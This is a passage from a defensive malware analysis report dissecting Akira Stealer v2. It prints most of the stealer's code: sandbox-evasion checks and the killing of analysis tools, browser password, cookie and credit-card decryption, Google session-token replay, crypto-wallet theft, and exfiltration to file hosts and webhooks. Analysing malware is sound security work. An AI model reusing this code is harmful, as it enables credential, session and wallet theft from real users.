'9961A120-E691-4FFE-B67B-F0E4115D5919'\r\n)\r\nBlacklisted Computer Names\r\nBLACKLISTED_COMPUTERNAMES = (\r\n '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\r\n 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\r\n 'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\r\n 'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\r\n 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\r\n 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\r\n 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\r\n 'desktop-vkeons4', 'NTT-EFF-2W11WSS'\r\n)\r\nBlacklisted User Accounts\r\nBLACKLISTED_USERS = (\r\n 'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\r\n 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\r\n 'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\r\n 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\r\n 'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\r\n)\r\nBlacklisted Analysis‐Tool Processes\r\nBLACKLISTED_TASKS = (\r\n 'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\r\n 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\r\n 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\r\n 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\r\n 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\r\n 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\r\n 'discordtokenprotector', 'glasswire', 'requestly'\r\n)\r\nCore Detection Methods\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 32 of 72\n\n@staticmethod\r\ndef checkUUID() -\u003e bool:\r\n \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\r\n try:\r\n raw = subprocess.run(\r\n \"wmic csproduct get uuid\",\r\n shell=True, capture_output=True\r\n ).stdout.splitlines()[2].decode(errors='ignore').strip()\r\n except:\r\n raw = \"\"\r\n return raw in VmProtect.BLACKLISTED_UUIDS\r\n@staticmethod\r\ndef checkComputerName() -\u003e bool:\r\n \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\r\n return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\r\n@staticmethod\r\ndef checkUsers() -\u003e bool:\r\n \"\"\"Current login username in VM users list.\"\"\"\r\n return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\r\n@staticmethod\r\ndef checkHosting() -\u003e bool:\r\n \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\r\n http = PoolManager(cert_reqs=\"CERT_NONE\")\r\n try:\r\n return http.request(\r\n 'GET', 'http://ip-api.com/line/?fields=hosting'\r\n ).data.decode().strip() == 'true'\r\n except:\r\n return False\r\n@staticmethod\r\ndef checkHTTPSimulation() -\u003e bool:\r\n \"\"\"\r\n Attempt TLS to random subdomain.\r\n Failure → possible HTTPS interception/sandbox.\r\n \"\"\"\r\n http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\r\n try:\r\n http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\r\n return True\r\n except:\r\n return False\r\n@staticmethod\r\ndef checkRegistry() -\u003e bool:\r\n \"\"\"\r\n Look for VirtualBox/VMware in:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 33 of 72\n\n- Registry driver entries\r\n - Video card name via WMIC\r\n - Presence of VM-specific folders\r\n \"\"\"\r\n r1 = subprocess.run(\r\n \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\r\n \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\r\n shell=True, capture_output=True\r\n )\r\n r2 = subprocess.run(\r\n \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\r\n \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\r\n shell=True, capture_output=True\r\n )\r\n gpu = any(\r\n x.lower() in subprocess.run(\r\n \"wmic path win32_VideoController get name\",\r\n shell=True, capture_output=True\r\n ).stdout.decode().splitlines()[2].lower()\r\n for x in (\"virtualbox\", \"vmware\")\r\n )\r\n dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\r\n return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\r\n@staticmethod\r\ndef killTasks() -\u003e None:\r\n \"\"\"Continuously terminate known analysis processes.\"\"\"\r\n Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\r\n7.3.13 Execution \u0026 Abort Logic\r\n1. Initialization: Within the Akira.__init__() constructor, the malware immediately invokes VmProtect.isVM(1)\r\nto perform quick, low-overhead virtualization checks (e.g., hostname, user, HTTPS simulation).\r\n2. Deep Inspection: If the initial test passes, it calls VmProtect.isVM(2) , triggering more comprehensive checks,\r\nincluding hardware UUID validation, hosting detection via ip-api.com , and registry artifact scanning.\r\n3. Abort Path: If any check returns True , indicating a virtual or analysis environment, the code executes\r\nsys.exit() , terminating execution before any data collection or exfiltration routines.\r\n7.3.14 Conclusion\r\nThe VmProtect module in Akira Stealer v2 demonstrates a layered defense against analysis, leveraging both local system\r\nfingerprints and network-based heuristics. By understanding and instrumenting these precise checks, defenders can turn\r\nthe tables and detect such evasive malware in operational environments.\r\n7.4 Browser Data Exfiltration\r\nOne of the core objectives of Akira Stealer v2 is the large-scale extraction of sensitive browser-stored data. The malware\r\nimplements tailored modules to target both Chromium-based and Gecko-based (Firefox) browsers. Its capabilities\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 34 of 72\n\ninclude the extraction and decryption of saved passwords, cookies, credit card data, autofill entries, and even session\r\ntokens that can be repurposed for full account hijacking.\r\n1. Workspace Setup\r\nclient_dir = Utils.get_temp_folder() # e.g., C:\\Windows\\Temp\\DESKTOP-1234\r\nos.makedirs(client_dir, exist_ok=True)\r\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\r\n os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\r\nCreates a disposable staging area under the system temp directory, named after the victim’s machine\r\n(%TEMP%\\DESKTOP-), ensuring all exfiltrated artifacts are consolidated in one easily archiveable location.\r\nIsolates data by type: six dedicated subfolders (Passwords, Cookies, CreditCards, History, Autofill, Wallets) prevent\r\nnaming collisions and simplify later zipping—each extraction routine writes only into its own folder.\r\nIdempotent directory creation uses exist_ok=True so if the malware re-runs (e.g., on reboot or persistence), it won’t\r\ncrash or overwrite existing data—new items simply append into the same structure.\r\nFacilitates selective cleanup: once upload and notification are complete, the stealer can call\r\nUtils.clear_client_folder() to recursively delete only its own workspace, leaving no residual files behind.\r\nSets the stage for parallel extraction threads: by pre-creating all targets, background threads harvesting browser\r\ncredentials, cookies, autofills, crypto-wallet data, etc., can immediately write results without additional checks,\r\nminimizing overhead and reducing the window for defensive hooks to detect unexpected file I/O.\r\n2. Supported Browsers\r\nChromium‑based\r\nGoogle Chrome (Stable \u0026 SxS)\r\nMicrosoft Edge\r\nBrave Browser\r\nOpera \u0026 Opera GX\r\nChromium\r\nComodo Dragon\r\nEpic Privacy Browser\r\nIridium Browser\r\nUR Browser\r\nVivaldi Browser\r\nYandex Browser\r\nSlimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran\r\nFirefox‑based (via GeckoDriver )\r\nMozilla Firefox\r\nWaterfox\r\nPale Moon\r\nAkira dynamically locates user profiles using environment variables and well-known directory structures:\r\nuser_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 35 of 72\n\nIt recursively checks for available browser profiles (e.g. Default , Profile 1 , etc.) and targets SQLite databases\r\nwithin those paths.\r\nData Type Source File Notes\r\nSaved\r\nPasswords\r\nLogin Data (Chromium) Decrypted via DPAPI or AES-GCM (post Chromium v80)\r\nCookies Cookies\r\nCan include session tokens, especially for Google/Facebook\r\naccounts\r\nAutofill Data Web Data Addresses, emails, phone numbers, etc.\r\nCredit Cards Web Data Encrypted; requires master key\r\nSession Tokens In-memory \u0026 cookies Includes Gmail, Google accounts, and Discord OAUTH replay\r\nHistory \u0026 URLs\r\nHistory , Visited\r\nLinks\r\nWere also exfiltrated to the attacker\r\n3. Extraction Modules When malware authors target browsers, their primary treasure troves are the various SQLite\r\ndatabases where Chrome, Firefox, and their kin store credentials, cookies, history, and autofill entries. astor.py stitches\r\ntogether lightweight Python and native APIs to methodically pluck every piece of data—and even replay live OAuth\r\nsessions—without leaving a trace. Below is an in-depth, module-by-module tour, verbatim from the code.\r\n7.4.2 Password Dumper ( Chromium.GetPasswords )\r\nThis module systematically searches through all Chromium-based browser profiles to extract saved login credentials. By\r\ntargeting the Login Data SQLite database, it retrieves usernames and encrypted passwords, then uses the platform’s\r\nencryption key (retrieved via DPAPI or AES-GCM) to decrypt them into cleartext. These credentials are highly valuable\r\nfor post-compromise pivoting or account takeover.\r\nfor root, _, files in os.walk(self.BrowserPath):\r\n for file in files:\r\n if file.lower() == \"login data\":\r\n # Copy DB → open → extract rows\r\n results = cursor.execute(\r\n \"SELECT origin_url, username_value, password_value FROM logins\"\r\n ).fetchall()\r\n for url, user, pwd_blob in results:\r\n clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\r\n passwords.append((url, user, clear_pwd))\r\nLocates every Login Data SQLite database under the browser’s User Data folder.\r\nCopies to a temp file to avoid browser locks.\r\nSQL Query: SELECT origin_url, username_value, password_value FROM logins .\r\nDecrypts each password_value blob via AES‑GCM ( v10 / v11 ) or Windows DPAPI fallback.\r\nWrites output to Passwords/\u003cBrowserName\u003e Passwords.txt .\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 36 of 72\n\n7.4.3 Credit Card Dumper ( Chromium.GetCreditCards )\r\nHere, the stealer accesses stored credit card data from each browser profile’s Web Data file. It focuses on extracting\r\nexpiration details and encrypted credit card numbers, which are then decrypted with the same logic as passwords. Although\r\nCVV codes are typically not stored, the recovered information can still be misused for card-not-present fraud.\r\nresults = cursor.execute(\r\n \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\r\n).fetchall()\r\nfor month, year, enc_cc in results:\r\n cc_number = self.Decrypt(enc_cc, encryptionKey)\r\n ccs.append((cc_number, month, year))\r\nTargets the Web Data SQLite stores under each profile.\r\nSQL Query: SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards .\r\nDecrypts card_number_encrypted exactly like the password blobs.\r\nOutputs to CreditCards/\u003cBrowserName\u003e CreditCards.txt .\r\n7.4.4 Cookie Dumper ( Chromium.GetCookies )\r\nCookies, especially session cookies, are prime targets for account hijacking without passwords. This module dumps all\r\ncookie files across profiles, decrypts them, and collects essential metadata like domain, name, and expiration. Combined\r\nwith fingerprinting, these cookies can enable seamless replay attacks on authenticated services.\r\nresults = cursor.execute(\r\n \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\r\n).fetchall()\r\nfor host, name, path, blob, expiry in results:\r\n cookie_val = self.Decrypt(blob, encryptionKey)\r\n cookies.append((host, name, path, cookie_val, expiry))\r\nScans every Cookies SQLite database.\r\nSelects host_key, name, path, encrypted_value, expires_utc .\r\nDecrypts each encrypted_value blob to reveal the actual cookie string.\r\nSaves into Cookies/\u003cBrowserName\u003e Cookies.txt .\r\n7.4.5 Google Session Dumper ( Chromium.dump_google_sessions )\r\nOne of the more advanced components, this routine decrypts stored OAuth tokens from the token_service table. By\r\nreplaying them via Google’s multilogin endpoint, the malware can regenerate active session cookies—allowing attackers\r\nto hijack Google accounts without credentials. This illustrates how access tokens have become prime targets in modern\r\nstealers.\r\ncursor.execute(\"SELECT service, encrypted_token FROM token_service\")\r\nfor service, blob in cursor.fetchall():\r\n iv = blob[3:15]\r\n ciphertext = blob[15:-16]\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 37 of 72\n\ncipher = AES.new(secret_key, AES.MODE_GCM, iv)\r\n token = cipher.decrypt(ciphertext).decode()\r\n # Replays via POST to OAuth endpoint\r\n response = requests.post(\r\n \"https://accounts.google.com/oauth/multilogin\",\r\n headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\r\n data={\"source\": \"com.google.Drive\"}\r\n )\r\n save each account’s cookies to file\r\nFetches service and raw encrypted_token from Web Data clone.\r\nAES‑GCM decryption using the browser’s Local State key.\r\nReplays decrypted tokens in a POST to Google’s multilogin API to reconstruct valid OAuth cookies.\r\nWrites per-account session files under Cookies/\u003cdisplay_email\u003e Google Session.txt .\r\n7.4.6 History Dumper ( Chromium.GetHistory )\r\nThis function extracts browsing history entries including URL, title, and visit frequency. Beyond privacy invasion, this\r\ndata helps attackers understand victim behavior, identify high-value targets (e.g., banking portals), or tailor social\r\nengineering payloads.\r\nresults = cursor.execute(\r\n \"SELECT url, title, visit_count, last_visit_time FROM urls\"\r\n).fetchall()\r\nhistory.sort(key=lambda x: x[3], reverse=True)\r\nreturn [(url, title, count) for url, title, count, _ in history]\r\nSelects url, title, visit_count, last_visit_time from every History DB.\r\nSorts entries by last_visit_time descending.\r\nOutputs History/\u003cBrowserName\u003e History.txt .\r\n7.4.7 Autofill Dumper ( Chromium.GetAutofills )\r\nAutofill entries—like addresses, names, emails, and sometimes payment-related data—are scraped from the browser’s\r\nWeb Data storage. These values may not seem critical, but when aggregated, they offer a rich profile of the victim’s\r\nidentity and behavior.\r\nresults = cursor.execute(\r\n \"SELECT name, value FROM autofill\"\r\n).fetchall()\r\nfor field, value in results:\r\n autofills.append((field.strip(), value.strip()))\r\nFetches form-fill entries: name, value from the web data file.\r\nWrites out as Autofill/\u003cBrowserName\u003e Autofill.txt .\r\n7.4.8 Firefox Profile Grabber ( GeckoDriver \u0026 grabFirefoxProfiles )\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 38 of 72\n\nUnlike the granular Chromium routines, this function opts for a broad approach: it compresses the entire Firefox profile\r\ndirectory—including saved logins, cookies, and bookmarks—and exfiltrates it wholesale. This ensures attackers can\r\nanalyze or extract data offline, bypassing decryption hurdles with known NSS tooling.\r\nwith zipfile.ZipFile(zip_path, 'w') as zipf:\r\n for root, dirs, files in os.walk(source_path):\r\n zipf.write(each file)\r\n# Upload via GoFile/File.io, then POST via attacker webhooks\r\nZips the entire %APPDATA%\\Mozilla\\Firefox\\Profiles directory.\r\nNames it %TEMP%\\\u003cComputerName\u003e_Firefox_profiles.zip and sends the download link over the same webhook\r\nchannels.\r\nAlso invokes the same SQLite-based extraction functions ( logins.json , cookies.sqlite , places.sqlite )\r\nagainst each Firefox profile using the NSS decryption routines already present.\r\nAstor.py orchestrates a comprehensive browser compromise by systematically harvesting every credential and session\r\nartifact across Chromium-based and Firefox clients. It locates and safely copies each SQLite store— Login Data , Web\r\nData , Cookies , History , and autofill —then runs targeted SQL queries to extract URLs, usernames, passwords,\r\ncredit-card details, cookies, browsing history, and form-fill entries. Passwords and payment data are decrypted via AES-GCM (or Windows DPAPI fallback), while cookies are similarly unwrapped to reveal their plaintext values. For Google\r\naccounts, encrypted OAuth tokens from token_service are decrypted and replayed against the multilogin API to\r\nregenerate live session cookies. Finally, Firefox profiles are archived wholesale (including logins.json ,\r\ncookies.sqlite , and places.sqlite ) and delivered as ZIPs, ensuring no artifact is left behind. This end-to-end pipeline\r\nruns silently under %TEMP%\\\u003cComputerName\u003e , producing neatly organized output files for every data category.\r\n7.5 Decryption Logic\r\nModern browsers like Chrome and Edge encrypt sensitive data—such as passwords, cookies, and credit card details—\r\nbefore storing them locally. Akira includes built-in decryption routines tailored to handle both legacy and current\r\nChromium encryption methods. This ensures it can extract cleartext data regardless of the system's patch level or browser\r\nversion.\r\nAt the core of this process is the extraction and decryption of the browser’s master encryption key, stored in a file called\r\nLocal State. Depending on the browser version and Windows build, Akira dynamically selects the appropriate decryption\r\nmethod:\r\nDPAPI (Data Protection API) is used on older systems, where Chrome stores secrets protected by the current user's\r\nWindows credentials.\r\nAES-GCM is used on modern Chromium builds, where a randomly generated master key is itself encrypted with DPAPI,\r\nthen used for in-app encryption of user data.\r\nBy first decrypting the Local State master key, Akira gains the ability to unlock all browser secrets—paving the way for\r\nextracting credentials, tokens, cookies, and more.\r\nKey extraction\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 39 of 72\n\nlocal_state_path = os.path.join(user_path, \"Local State\")\r\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\r\n local_state = json.load(f)\r\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\r\nDecryption (AES-GCM):\r\nnonce = value[3:15]\r\nciphertext = value[15:-16]\r\ntag = value[-16:]\r\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\r\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\r\nIf fallback to DPAPI is needed (on older systems), it uses win32crypt.CryptUnprotectData() .\r\nExplanation of decrypt_password_blob : This function demonstrates how Akira Stealer decrypts each saved password\r\nvalue from Chromium-based browsers. It handles two cases:\r\n1. Windows DPAPI blobs (older or non-GCM encrypted data): Falls back to the system call CryptUnprotectData ,\r\nwhich uses the user’s Windows credentials to decrypt.\r\n2. AES-GCM encrypted blobs (Chrome v10/v11 format): Parses the version header, extracts the IV and\r\nauthentication tag, and uses the cryptography library to decrypt the payload securely.\r\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\r\nfrom cryptography.hazmat.backends import default_backend\r\ndef decrypt_password_blob(buffer: bytes, key: bytes) -\u003e str:\r\n \"\"\"\r\n Decrypts a Chrome password blob using either DPAPI or AES-GCM.\r\n Parameters:\r\n - buffer: raw encrypted blob from the `password_value` field\r\n - key: the master AES key retrieved via DPAPI from Local State\r\n Returns:\r\n - Decrypted UTF-8 plaintext password\r\n \"\"\"\r\n # 1) DPAPI fallback for non-AES-GCM blobs\r\n if not buffer.startswith((b'v10', b'v11')):\r\n # Uses Windows CryptUnprotectData under the hood\r\n return CryptUnprotectData(buffer)\r\n # 2) AES-GCM decryption for Chrome v10/v11 format:\r\n # Bytes layout:\r\n # [0:3] = version header ('v10'/'v11')\r\n # [3:15] = initialization vector (IV)\r\n # [15:-16] = ciphertext payload\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 40 of 72\n\n# [-16:] = GCM authentication tag\r\n iv = buffer[3:15]\r\n ciphertext = buffer[15:-16]\r\n tag = buffer[-16:]\r\n # Initialize AES-GCM cipher with extracted IV and tag\r\n cipher = Cipher(\r\n algorithms.AES(key),\r\n modes.GCM(iv, tag),\r\n backend=default_backend()\r\n )\r\n decryptor = cipher.decryptor()\r\n # Perform decryption; raises if authentication fails\r\n plaintext = decryptor.update(ciphertext) + decryptor.finalize()\r\n # Decode to UTF-8, ignoring any stray errors\r\n return plaintext.decode('utf-8', errors='ignore')\r\n7.6 Session Token Hijacking\r\nAkira doesn’t stop at passive data collection—it actively hijacks live session tokens to impersonate victims in real time.\r\nAfter extracting encrypted tokens from browser storage, it reconstructs the required authorization header and replays a\r\nMultiLogin request against Google’s OAuth endpoint. The code snippet below illustrates this process:\r\n# Build SAPISIDHASH header for Google services\r\norigin = \"https://accounts.google.com\"\r\ntimestamp = int(time.time())\r\n# Compute SHA1 of \"timestamp origin SAPISID\"\r\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\r\nsignature = hashlib.sha1(payload).hexdigest()\r\nheaders = {\r\n \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\r\n \"Content-Type\": \"application/json\"\r\n}\r\n# Replay MultiLogin to fetch valid session cookies\r\nresponse = requests.post(\r\n \"https://accounts.google.com/accounts/multilogin\",\r\n headers=headers,\r\n json={\"continue\": \"https://mail.google.com\"}\r\n)\r\nif response.status_code == 200:\r\n # Victim’s cookies now present in response.cookies\r\n hijacked_cookies = response.cookies\r\nBy replaying this request, Akira can impersonate the user’s Gmail, Drive, or any other Google service protected by a valid\r\nsession—no credentials required. This technique leverages Google’s own token acceptance logic, making it nearly\r\nindistinguishable from legitimate client behavior.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 41 of 72\n\n7.7 Firefox Decryption\r\nGecko‑based browsers like Firefox encrypt saved credentials and cookies using a master key stored in key4.db . Akira\r\nincludes a stripped‑down decryption routine mirroring Mozilla’s NSS logic, handling both 3DES and AES‑CBC variants\r\nwithout triggering the master password prompt. Example usage:\r\n# Load global Salt and encrypted item from key4.db\r\ndb = sqlite3.connect(profile_path + \"/key4.db\")\r\ncursor = db.cursor()\r\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\r\nglobal_salt, item2 = cursor.fetchone()\r\n# Decode DER structure and derive key\r\ndecoded, _ = der_decode(item2)\r\nentry_salt = decoded[0][1][0].asOctets()\r\ncipher_text = decoded[1].asOctets()\r\n# Derive 3DES key\r\nkey = derive_3des_key(global_salt, master_password, entry_salt)\r\niv = decoded[0][1][1].asOctets()\r\n# Decrypt credentials\r\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\r\nclear_password = unpad(cipher.decrypt(cipher_text))\r\nprint(\"Decrypted Firefox password:\", clear_password)\r\nWith this routine, Akira can transparently dump logins.json , cookies.sqlite , and places.sqlite for each Firefox\r\nprofile, writing the decrypted output to:\r\nPasswords/Firefox_\u003cProfileName\u003e Passwords.txt\r\nCookies/Firefox_\u003cProfileName\u003e Cookies.txt\r\nHistory/Firefox_\u003cProfileName\u003e History.txt\r\nThis approach sidesteps user-level master password checks, giving the stealer unfettered access to all stored credentials.*\r\n4. File Structure \u0026 Naming\r\n\u003cComputerName\u003e.zip\r\n└── \u003cComputerName\u003e\\\r\n ├── Passwords\\\r\n │ ├── Chrome Passwords.txt\r\n │ ├── Edge Passwords.txt\r\n │ └── …\r\n ├── Cookies\\\r\n │ ├── Chrome Cookies.txt\r\n │ ├── Edge Cookies.txt\r\n │ ├── user@example.com Google Session.txt\r\n │ └── …\r\n ├── CreditCards\\\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 42 of 72\n\n│ ├── Chrome CreditCards.txt\r\n │ └── …\r\n ├── History\\\r\n │ ├── Chrome History.txt\r\n │ └── …\r\n ├── Autofill\\\r\n │ ├── Chrome Autofill.txt\r\n │ └── …\r\n └── Wallets\\\r\n ├── Firefox_Default_profiles.zip\r\n ├── Firefox_Profile1_profiles.zip\r\n └── …\r\nEach .txt begins with a consistent header ( \u003c================[Akira Stealer v2]\u003e================\u003e ) and\r\nseparator line ( ====…==== ).\r\nOn‑disk ZIP: %TEMP%\\\u003cComputerName\u003e.zip .\r\nC\u0026C filename label: Akira-\u003cusername\u003e.zip .\r\n5. Exfiltration \u0026 Cleanup\r\nurl = Webhook.uploadToGofile(zip_path)\r\nif not url:\r\n url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\r\nWebhook.sendDataTG(zip_path, chatId, startup)\r\nUtils.clear_client_folder()\r\nPrimary Channel (GoFile.io): The malware first attempts to upload the ZIP archive containing all stolen artifacts\r\nto GoFile.io, parsing the JSON response for a downloadPage URL that grants the attacker direct access to the\r\narchive.\r\nAutomatic Fallbacks: Should the GoFile endpoint fail (network timeout, rate limit, etc.), the code seamlessly falls\r\nback to file.io , and if that too returns an empty link, finally to oshi.at . Both alternatives are invoked without\r\nraising exceptions, ensuring that one of the three services will always be tried in succession.\r\nWebhook Reporting: Once a URL (or an empty string on persistent failure) is determined,\r\nWebhook.sendDataTG(...) is called, packaging together the download link, machine identifiers ( chatId ,\r\nstartup flag) and all category counts (passwords, cookies, autofills, wallets) into a single Discord or Telegram\r\nmessage.\r\nImmediate Cleanup: After reporting, Utils.clear_client_folder() recursively deletes the entire temporary\r\nworkspace and the ZIP file itself, leaving no trace of the harvested data or the archive on disk.\r\nFailure Resilience:\r\nAll upload routines return \"\" on failure instead of throwing, guaranteeing the code flow continues.\r\nEven if every service is unreachable, the malware still transmits a webhook report (albeit with a missing\r\nlink) before erasing local artifacts, minimizing forensic remnants unless the process crashes\r\nunexpectedly.\r\n6. Robustness \u0026 Error Handling\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 43 of 72\n\nGranular Exception Handling: Every file system interaction—be it shutil.copy , SQLite queries, or ZIP\r\noperations—is wrapped in try/except blocks. When an error occurs (locked DB, permission denied, malformed\r\nrecord), the exception is caught and logged via Akira.logErrorTg() , and execution continues, isolating the failure\r\nto that specific file or module.\r\nThreaded Isolation per Browser: The extraction routines for each supported browser run in their own thread. This\r\nmulti-threaded design ensures that a crash or deadlock in one browser’s extraction (e.g., corrupt profile, missing\r\nkey) does not halt or delay the analysis of other browsers.\r\nSilent Fallbacks \u0026 Defaults: Many auxiliary routines, such as uploading to alternate file hosts, checking remote\r\nresources, or spawning subprocesses, employ nested try/except without surface-level alerts—maximizing\r\nstealth. Default values (empty strings, booleans) are chosen to keep the flow uninterrupted and remove obvious\r\nerror conditions.\r\nMutex \u0026 Startup Guards: A named mutex ( 1qsMlseJplTlArIF14f ) prevents multiple instances, while registry\r\nchecks and Utils.CreateMutex() protect against concurrent runs, providing additional stability during real-world\r\ndeployment.\r\n7.8 Wallet and Token Exfiltration\r\nIn this phase, Akira Stealer v2 performs the most comprehensive sweep for cryptocurrency credentials and session tokens,\r\nspanning browser extensions, desktop wallets, messaging tokens, and live keylogging. It executes in parallel threads,\r\nensuring no vector is missed. Below is a step-by-step, code-backed deep dive.\r\n7.8.1 Browser Extension Wallets\r\nTargets: Over 80 extensions across popular browsers, including MetaMask, Phantom, Trust Wallet, Coinbase Wallet,\r\nSolflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman, and more.\r\n# Hardcoded list of extension IDs and human-friendly names\r\nwalletsExtensions = [\r\n [\"MetaMask\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\r\n [\"Phantom\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\r\n [\"TrustWallet\", \"egjidjbpglichdcondbcbdnbeeppgdph\"],\r\n [\"CoinbaseWallet\", \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\r\n [\"Solflare\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\r\n [\"BinanceChain\", \"fhbohimaelbohpjbbldcngcnapndodjp\"],\r\n [\"Keplr\", \"dmkamcknogkgcdfhhbddcghachkejeap\"],\r\n [\"Nami\", \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\r\n [\"Talisman\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\r\n [\"TronLink\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\r\n # ... plus dozens more mapped in code\r\n]\r\n# Extraction loop for each browser profile\r\nfor browser_name, (user_data, proc_name) in paths.items():\r\n base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\r\n for ext_name, ext_id in walletsExtensions:\r\n src = os.path.join(base, ext_id)\r\n if os.path.isdir(src):\r\n dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 44 of 72\n\nshutil.copytree(src, dest, dirs_exist_ok=True)\r\n data.ext_wallets_count += 1\r\nFiles copied: Extension-specific IndexedDB, LevelDB, JSON and config files containing encrypted keys, seed\r\nphrases, login credentials.\r\nOutcome folder: Wallets/MetaMask_Chrome/ , Wallets/Phantom_Edge/ , etc.\r\n7.8.2 Desktop Wallet Applications\r\nTargets: Major desktop clients such as Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory,\r\nBytecoin, Jaxx, Coinomi, etc.\r\nwalletsDesktop = [\r\n [\"Electrum\", os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\r\n [\"Exodus\", os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\r\n [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\r\n [\"Guarda\", os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\r\n [\"Rabby\", os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\r\n [\"Coinomi\", os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\r\n]\r\nfor name, path in walletsDesktop:\r\n if os.path.isdir(path):\r\n Utils.TaskKill(name.lower())\r\n dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\r\n shutil.copytree(path, dest, dirs_exist_ok=True)\r\n data.desktop_wallets_count += 1\r\nData stolen: Keystore files ( *.dat , *.json ), private key exports, wallet configuration and transaction history.\r\nBenefit: Offline wallet contents usable by the attacker to authorize transactions.\r\n7.8.3 Discord Token 